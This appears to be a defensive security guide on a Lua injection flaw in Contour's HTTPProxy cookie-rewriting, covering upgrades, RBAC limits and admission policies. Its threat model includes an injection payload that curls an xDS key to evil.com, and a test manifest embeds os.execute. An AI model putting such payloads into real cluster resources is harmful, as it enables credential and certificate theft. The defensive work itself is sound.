Contour Ingress Controller Security

Contour Ingress Controller Security

Problem

Contour is a CNCF-graduated Kubernetes ingress controller that uses Envoy as its data plane. Rather than generating a configuration file like nginx, Contour communicates with Envoy in real time using Envoy’s xDS (discovery service) API — a gRPC-based protocol through which Contour pushes listener, route, cluster, and TLS configuration to Envoy instances. Contour introduces HTTPProxy, a custom resource definition that provides a more expressive alternative to the standard Kubernetes Ingress resource. HTTPProxy supports multi-team ingress delegation, CORS policies, rate limiting, weighted traffic splitting, retry policies, header manipulation, and cookie-rewriting — capabilities that the standard Ingress resource cannot express without implementation-specific annotations. Contour translates HTTPProxy resources into Envoy xDS configuration and distributes that configuration to Envoy pods. This architecture is widely used in enterprises because it gives platform teams fine-grained control over traffic policy while supporting delegated ownership: a platform team can create a root HTTPProxy, and individual development teams can create child HTTPProxy resources within their own namespaces, routing traffic to their own services without requiring platform-team involvement for every routing change.

CVE-2026-41246 was published on April 23, 2026, with a CVSS score of 8.1. The vulnerability is a Lua code injection in Contour’s HTTPProxy cookie-rewriting feature. When an HTTPProxy resource specifies cookie-rewriting rules — to add, remove, or modify HTTP response cookies — Contour generates an Envoy Lua filter script to perform the cookie manipulation. The path and cookie values from the HTTPProxy spec are embedded directly into that Lua script using Go’s text/template package without sanitising the input values. An attacker with Kubernetes RBAC permission to create or modify HTTPProxy resources can craft a cookie-rewriting rule whose path or cookie name contains Lua control characters: double quotes, backslashes, or full Lua statements. Because Contour templates the raw value into the Lua source before sending it to Envoy via xDS, the injected Lua code executes inside Envoy’s Lua filter — on every request that matches that HTTPProxy route. The vulnerability is fixed in Contour 1.31.6, 1.32.5, and 1.33.4.

The xDS credential leakage risk amplifies the severity of CVE-2026-41246 well beyond what a CVSS score communicates. Envoy authenticates to the Contour control plane using xDS credentials — typically a shared secret or mTLS certificate that Envoy presents when it establishes its gRPC stream to Contour’s xDS server. These credentials are available within Envoy’s runtime environment, which means they are reachable from Envoy’s Lua filter execution context. An attacker who achieves Lua code injection through CVE-2026-41246 can exfiltrate these credentials by making an outbound HTTP request from within the Lua filter (using core.http_call() or by writing the value into a response header). With xDS credentials in hand, the attacker can impersonate an Envoy instance to the Contour control plane. A rogue Envoy connection to Contour’s xDS server will receive the full cluster-wide xDS configuration stream: all TLS certificates and private keys for every virtual host, all upstream cluster configurations, and all route definitions across every namespace. This transforms a namespace-scoped RBAC permission into a cluster-wide credential and certificate exfiltration.

The multi-tenancy risk is specific to Contour’s HTTPProxy delegation model. Contour is commonly deployed with delegation precisely because it allows development teams to manage their own routing rules in their own namespaces. A developer who has HTTPProxy create/update access in their namespace — the minimal permission needed to participate in the delegated ingress model — can trigger CVE-2026-41246. If the Envoy Lua filter generated by Contour evaluates cookie-rewriting rules across multiple routing contexts within the same filter chain, the injected code executes for traffic matching routes in other teams’ namespaces as well. The developer has overstepped their namespace boundary without any privilege escalation in the Kubernetes RBAC sense — they used only the permissions they were legitimately granted. This breaks the isolation guarantee that multi-team HTTPProxy delegation is designed to provide.

The open-source development model of Contour creates the same patch-gap problem seen with ingress-nginx and cert-manager. Contour’s security advisory process publishes at https://github.com/projectcontour/contour/security/advisories simultaneously with patch releases, but the fix commits are visible in the repository before the advisory is distributed publicly. CVE-2026-41246’s fix — adding sanitisation to the Go text/template call that generates the cookie-rewriting Lua script — was committed to main and the affected release branches before the advisory went live. Operators watching https://github.com/projectcontour/contour/commits/main for changes to internal/dag/builder.go or internal/envoy/v3/listener.go could identify the nature of the fix within hours of the commit landing. This is the patch-gap: the fix is readable, the vulnerable code path is identifiable from the diff, and clusters still running Contour 1.31.5 or earlier are exposed.

Contour’s relationship with Envoy adds a second lag. Contour vendors Envoy at a specific version, checked into its own release cycle. When an Envoy CVE is published, the fix cannot reach a production Contour deployment until Contour cuts a release that includes the patched Envoy binary. Historically, the lag between an Envoy CVE being published and a Contour release shipping the fix has been one to three weeks. During that window, the Envoy vulnerability is known and Contour’s bundled Envoy version is publicly visible in the container image tag. Monitoring both Contour’s advisories and Envoy’s release notes is required to maintain accurate exposure awareness. Useful monitoring commands: gh api repos/projectcontour/contour/security/advisories --jq '.[].summary'; watching Contour’s CHANGELOG.md for security-tagged entries; Renovate configured to track the Contour Helm chart and open PRs when new versions are available.

Target systems: Contour 1.31.x < 1.31.6, 1.32.x < 1.32.5, 1.33.x < 1.33.4 (vulnerable to CVE-2026-41246); Kubernetes 1.28+.

Threat Model

  1. CVE-2026-41246 — HTTPProxy Lua injection. A developer with HTTPProxy write access in their namespace creates a cookie-rewriting rule with a crafted path value:

    cookieRewritePolicies:
      - name: session
        path:
          value: "/app\"; os.execute(\"curl https://evil.com/steal?k=\"..tostring(envoy.req.get_header(\"x-xds-api-key\"))); --"
    

    Contour templates this string directly into the Lua filter source without escaping the embedded double quotes or the Lua statement boundary. The Lua interpreter inside Envoy executes the injected code on every matching request, exfiltrating the xDS API key to the attacker-controlled host.

  2. xDS credential reuse. The attacker uses the exfiltrated xDS credentials to open a gRPC connection to the Contour control plane (contour service on port 8001) as a rogue Envoy instance. Contour sends the full xDS configuration stream: all CDS, EDS, LDS, RDS, and SDS resources for the cluster. The SDS (Secret Discovery Service) response includes TLS certificates and private keys for every HTTPProxy virtual host, enabling the attacker to decrypt historical TLS traffic, forge certificates, or impersonate upstream services.

  3. Patch-gap attacker. A security researcher reads the fix commit in internal/envoy/v3/listener.go — the addition of template.HTMLEscapeString() or equivalent sanitisation around the cookie path templating call. The diff makes the vulnerable code path explicit: the CookieRewritePolicy path field was embedded verbatim. The researcher crafts a working proof-of-concept exploit against clusters still running Contour 1.31.5. Clusters that are not subscribed to Contour’s GitHub security advisory feed, and that do not track CHANGELOG.md changes, have no awareness that the exploit exists and that they are vulnerable.

  4. Delegated HTTPProxy escalation. A developer who holds a child HTTPProxy delegation in namespace team-alpha creates a cookie-rewriting rule with Lua injection targeting the shared Lua filter pipeline. If Contour compiles all cookie-rewriting rules into a single Lua filter that runs on all routes sharing the same Envoy listener, the injected code executes on traffic destined for team-beta routes on the same listener. The developer has not violated any Kubernetes RBAC rule — they have used only the permissions granted to them — but the blast radius extends beyond their namespace.

The blast radius of CVE-2026-41246 is not limited to the namespace in which the malicious HTTPProxy is created. The xDS credential exfiltration path escalates a namespace-scoped permission to a cluster-wide credential theft. Any cluster running a vulnerable Contour version with HTTPProxy cookie-rewriting in use, or with namespace delegation enabled, should treat CVE-2026-41246 as a critical-priority remediation. Clusters using cookie-rewriting and running in multi-tenant environments — where development teams hold HTTPProxy write access — should treat it as an active incident until patched.

Configuration / Implementation

Upgrading Contour

Upgrade to a patched release immediately. The patched versions are 1.31.6, 1.32.5, and 1.33.4. If you are running an older minor version (1.30.x or earlier), upgrade to the latest 1.33.x release.

Helm upgrade:

helm repo update
helm upgrade contour bitnami/contour \
  --version 19.4.6 \
  --namespace projectcontour \
  --reuse-values

Replace 19.4.6 with the Bitnami chart version that bundles Contour 1.33.4 (check helm search repo bitnami/contour --versions). If you use the upstream Contour Helm chart from charts.projectcontour.io:

helm repo add projectcontour https://charts.projectcontour.io
helm repo update
helm upgrade contour projectcontour/contour \
  --version <patched-chart-version> \
  --namespace projectcontour \
  --reuse-values

Manifest-based upgrade:

kubectl apply -f https://projectcontour.io/quickstart/contour.yaml

Verify the deployed Contour version:

kubectl get deployment -n projectcontour contour \
  -o jsonpath='{.spec.template.spec.containers[0].image}'

Expected output for a patched deployment: ghcr.io/projectcontour/contour:v1.33.4 (or v1.32.5 / v1.31.6).

Verify the bundled Envoy version:

kubectl get daemonset -n projectcontour envoy \
  -o jsonpath='{.spec.template.spec.containers[0].image}'

Cross-reference the Envoy image tag against the Envoy security advisories to check for outstanding Envoy CVEs that the current Contour release may not yet have addressed.

RBAC Restriction on HTTPProxy Resources

Restrict HTTPProxy create and update permissions to platform engineers. Development teams should have read-only access to HTTPProxy resources and should use application-layer resources (Deployments, Services) exclusively.

# platform-httpproxy-editor.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: platform-httpproxy-editor
rules:
  - apiGroups: ["projectcontour.io"]
    resources: ["httpproxies"]
    verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: developer-httpproxy-viewer
rules:
  - apiGroups: ["projectcontour.io"]
    resources: ["httpproxies"]
    verbs: ["get", "list", "watch"]

Apply and bind to the platform team group:

kubectl apply -f platform-httpproxy-editor.yaml

kubectl create clusterrolebinding platform-httpproxy-editors \
  --clusterrole=platform-httpproxy-editor \
  --group=platform-engineers

Audit which subjects currently hold HTTPProxy write permissions:

kubectl get clusterrolebinding -o json | \
  jq '.items[] | select(.roleRef.name | test("httpproxy|contour"; "i")) |
      {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'

Also audit namespace-scoped RoleBindings:

kubectl get rolebinding -A -o json | \
  jq '.items[] | select(.roleRef.name | test("httpproxy|contour"; "i")) |
      {namespace: .metadata.namespace, name: .metadata.name, subjects: .subjects}'

Any subject with create, update, or patch on httpproxies who is not a platform team member is a risk — remediate by removing or downgrading the binding.

Determine whether any deployed HTTPProxy resources use cookie-rewriting, which is the specific feature vector for CVE-2026-41246:

kubectl get httpproxy -A -o json | \
  jq '.items[] |
      select(.spec.routes[]?.cookieRewritePolicies != null) |
      {name: .metadata.name, namespace: .metadata.namespace,
       routes: [.spec.routes[] |
         select(.cookieRewritePolicies != null) |
         {services: .services[].name, policies: .cookieRewritePolicies}]}'

If the output is empty, no HTTPProxy uses cookie-rewriting. Document this absence explicitly as a security control in your runbook — it means CVE-2026-41246 has no active exploitation surface in your cluster even before patching, and any future HTTPProxy that introduces cookie-rewriting will require review. If the output lists resources, review each one for suspicious or unexpected path values before applying the patch.

HTTPProxy Admission Validation with Kyverno

Deploy a Kyverno policy to reject HTTPProxy resources whose cookie-rewriting configuration contains characters or patterns associated with Lua injection. This provides a preventative control that survives even if a new template injection variant is introduced in a future release.

# kyverno-httpproxy-cookie-safeguard.yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: httpproxy-cookie-rewrite-safeguard
  annotations:
    policies.kyverno.io/title: Reject unsafe HTTPProxy cookie-rewriting values
    policies.kyverno.io/category: Contour Security
    policies.kyverno.io/severity: high
    policies.kyverno.io/description: >
      Rejects HTTPProxy resources whose cookieRewritePolicies contain characters
      or patterns that could enable Lua injection in Contour's Lua filter generation.
      Blocks double quotes, backslashes, and common Lua API prefixes.
spec:
  validationFailureAction: Enforce
  background: false
  rules:
    - name: block-lua-injection-in-cookie-path
      match:
        any:
          - resources:
              kinds: ["HTTPProxy"]
              operations: ["CREATE", "UPDATE"]
      validate:
        message: >
          HTTPProxy cookie-rewriting path or name contains characters that may
          enable Lua injection (double quote, backslash, os., io., string., ngx.).
          Use only alphanumeric characters, hyphens, underscores, and forward slashes.
        deny:
          conditions:
            any:
              - key: "{{ request.object.spec.routes[].cookieRewritePolicies[].path.value | to_string(@) }}"
                operator: AnyIn
                value:
                  - '*"*'
                  - '*\\*'
                  - '*os.*'
                  - '*io.*'
                  - '*string.*'
                  - '*ngx.*'
                  - '*core.*'
              - key: "{{ request.object.spec.routes[].cookieRewritePolicies[].name | to_string(@) }}"
                operator: AnyIn
                value:
                  - '*"*'
                  - '*\\*'
                  - '*os.*'
                  - '*io.*'

Apply the policy:

kubectl apply -f kyverno-httpproxy-cookie-safeguard.yaml

Test the policy with a dry-run of a malicious HTTPProxy:

kubectl apply --dry-run=server -f - <<'EOF'
apiVersion: projectcontour.io/v1
kind: HTTPProxy
metadata:
  name: test-inject
  namespace: default
spec:
  virtualhost:
    fqdn: test.example.com
  routes:
    - conditions:
        - prefix: /
      cookieRewritePolicies:
        - name: session
          path:
            value: '/app"; os.execute("id"); --'
      services:
        - name: test-svc
          port: 80
EOF

Kyverno should reject this with the policy message. A valid cookie path /api/v1 should be accepted.

ValidatingAdmissionPolicy (CEL) alternative for clusters that prefer to avoid Kyverno:

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: httpproxy-cookie-rewrite-safeguard
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - apiGroups: ["projectcontour.io"]
        apiVersions: ["v1"]
        resources: ["httpproxies"]
        operations: ["CREATE", "UPDATE"]
  validations:
    - expression: >
        !has(object.spec.routes) ||
        object.spec.routes.all(r,
          !has(r.cookieRewritePolicies) ||
          r.cookieRewritePolicies.all(p,
            (!has(p.path) || (!p.path.value.contains('"') && !p.path.value.contains('\\'))) &&
            (!p.name.contains('"') && !p.name.contains('\\'))
          )
        )
      message: "HTTPProxy cookie-rewriting path or name contains unsafe characters."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: httpproxy-cookie-rewrite-safeguard-binding
spec:
  policyName: httpproxy-cookie-rewrite-safeguard
  validationActions: [Deny]
  matchResources:
    namespaceSelector: {}

Monitoring Contour for Security Fixes

Subscribe to Contour’s security advisories and monitor the repository for security-relevant commits before the advisory cycle completes.

Query Contour’s published security advisories:

gh api repos/projectcontour/contour/security/advisories \
  --jq '.[].summary'

Watch for security-relevant commits on the Contour main branch:

gh api "repos/projectcontour/contour/commits?per_page=50" \
  --jq '.[] |
    select(.commit.message | test("security|CVE|lua|inject|template|sanitiz|xds.*cred|cookie"; "i")) |
    {sha: .sha[0:8], msg: .commit.message[0:120]}'

Watch the directories most likely to contain security fixes:

  • internal/dag/builder.go — HTTPProxy to DAG translation
  • internal/envoy/v3/listener.go — Envoy listener and Lua filter generation
  • internal/envoy/v3/route.go — route configuration
  • cmd/contour/ — Contour control-plane main process

Use GitHub’s Atom feed for path-scoped watches, or a tool like github-commit-watcher.

Renovate configuration to receive PRs when the Contour Helm chart updates:

{
  "packageRules": [
    {
      "matchPackageNames": ["bitnami/contour", "projectcontour/contour"],
      "matchUpdateTypes": ["patch", "minor", "major"],
      "labels": ["security", "contour"],
      "automerge": false,
      "prPriority": 10
    }
  ]
}

Watch Contour’s CHANGELOG for security entries:

gh api "repos/projectcontour/contour/contents/CHANGELOG.md" \
  --jq '.content' | base64 -d | grep -A5 -i "security\|CVE\|fix.*inject\|fix.*lua"

Expected Behaviour

Signal Unpatched Contour (< 1.31.6 / 1.32.5 / 1.33.4) Patched + RBAC Restriction
Lua injection in cookie-rewriting path Injected code executes in Envoy Lua filter on every matching request; no error or warning in Contour or Envoy logs Kyverno or VAP rejects the HTTPProxy at admission time; kubectl apply returns policy violation error; no malicious filter reaches Envoy
xDS credential exfiltration via Lua Lua filter reads xDS credentials from Envoy runtime environment and exfiltrates them via core.http_call() to attacker host; Contour and Envoy logs show no anomaly Injection prerequisite is blocked at admission; xDS credentials remain in Envoy runtime but are not reachable via Lua without injection; mTLS between Envoy and Contour limits credential reuse
Patch-gap commit visible in repository before release Vulnerable code path (text/template without sanitisation) is readable in internal/envoy/v3/listener.go; operators are not notified until advisory; cluster remains exposed Renovation PR or gh api advisory query surfaces the new version immediately; RBAC restriction means no untrusted user can create cookie-rewriting rules during the patch-gap window
HTTPProxy create by non-platform user with cookie-rewriting kubectl apply succeeds; resource is accepted by Kubernetes API; Contour translates it to Envoy configuration ClusterRole denies create/update to non-platform users; kubectl apply returns Forbidden; platform team must review and apply
Envoy CVE published; Contour release pending Contour’s bundled Envoy image tag is publicly visible; Envoy CVE is published; Contour has not yet released a fix; 1–3 week exposure window Renovate monitors Contour chart version; kubectl get daemonset envoy -o jsonpath='{.spec.template.spec.containers[0].image}' surfaces the Envoy version; security team tracks Envoy CVE list and assesses exploitability against the bundled version

Trade-offs

Aspect Benefit Cost Mitigation
HTTPProxy RBAC restriction to platform team only Eliminates the namespace-scoped permission that enables CVE-2026-41246; reduces attack surface across all future HTTPProxy-based vulnerabilities Removes developer self-service for ingress routing changes; platform team becomes a bottleneck for every routing update, redirect rule, and traffic policy change Establish a GitOps workflow where developers submit HTTPProxy changes via pull request; platform team reviews and merges; ArgoCD or Flux applies; routing changes land within hours, not minutes
Disabling cookie-rewriting Eliminates the CVE-2026-41246 exploitation surface entirely if no current HTTPProxy uses it; simplest control to apply Blocks legitimate cookie manipulation use cases: path-scoping cookies to sub-paths, stripping domain attributes for cross-origin flows, removing Secure flags in development environments Audit cookie-rewriting usage before disabling; for clusters with no existing cookie-rewriting, document the absence; for clusters with legitimate uses, prioritise upgrading to the patched Contour version
Kyverno admission policy for HTTPProxy Preventative control that blocks known injection patterns before they reach Contour; provides defence-in-depth if a new template injection variant emerges Adds admission webhook latency (~5–30ms per HTTPProxy create/update); introduces a Kyverno dependency that must itself be maintained and upgraded; policy false positives block valid configurations Use background: false to limit Kyverno processing to admission time only; write test cases for known valid and invalid inputs and include them in CI; use Audit mode during rollout, switch to Enforce after validating
Frequent Contour upgrade cadence Keeps Envoy and Contour at patched versions; reduces exposure window for both Contour and bundled Envoy CVEs Contour’s rapid release cycle (multiple patch releases per minor version) makes upgrade tracking non-trivial for teams without automation; each upgrade carries a regression risk Use Renovate to open PRs automatically; maintain a staging cluster that runs Contour upgrades a week before production; pin Helm chart versions and review before upgrading

Failure Modes

Failure Symptom Detection Recovery
RBAC restriction prevents developer from updating time-sensitive routing rule Developer opens incident ticket; traffic is not routed correctly; platform team on-call is paged after hours Alert on kubectl auth can-i update httpproxies --namespace <ns> returning no for users who previously had access; track routing change requests in ticketing system Define an emergency break-glass procedure: platform engineer applies the routing change directly; GitOps PR is filed retroactively; RBAC is not loosened permanently
Kyverno policy rejects a valid HTTPProxy with a false positive kubectl apply fails with policy violation; the rejected HTTPProxy path value is valid (e.g., /api/v2) but triggers a pattern match Test all existing HTTPProxy resources against the Kyverno policy before enforcing: `kubectl get httpproxy -A -o yaml kubectl apply --dry-run=server -f -`; monitor Kyverno audit logs
Contour upgrade changes HTTPProxy API or deprecates fields After upgrading, existing HTTPProxy resources fail to reconcile; Contour logs show unknown field errors; traffic is not routed Contour emits status conditions on HTTPProxy resources: kubectl get httpproxy -A -o json | jq '.items[] | select(.status.currentStatus != "valid")' Consult Contour’s upgrade notes for the specific version; migrate deprecated fields before upgrading; use kubectl apply --dry-run=server against the new Contour API version before rolling the upgrade
Envoy bundled version mismatch between nodes during rolling upgrade Some Envoy pods run the old version, others the new; xDS configuration compatibility differences cause intermittent 503 errors on routes that use new features kubectl get pods -n projectcontour -l app=envoy -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[0].image}{"\n"}{end}' shows differing image tags; Envoy access logs show version in user-agent Complete the rolling upgrade by allowing the DaemonSet to finish; set updateStrategy.rollingUpdate.maxUnavailable: 1 to control rollout pace; if regression is severe, roll back the DaemonSet image tag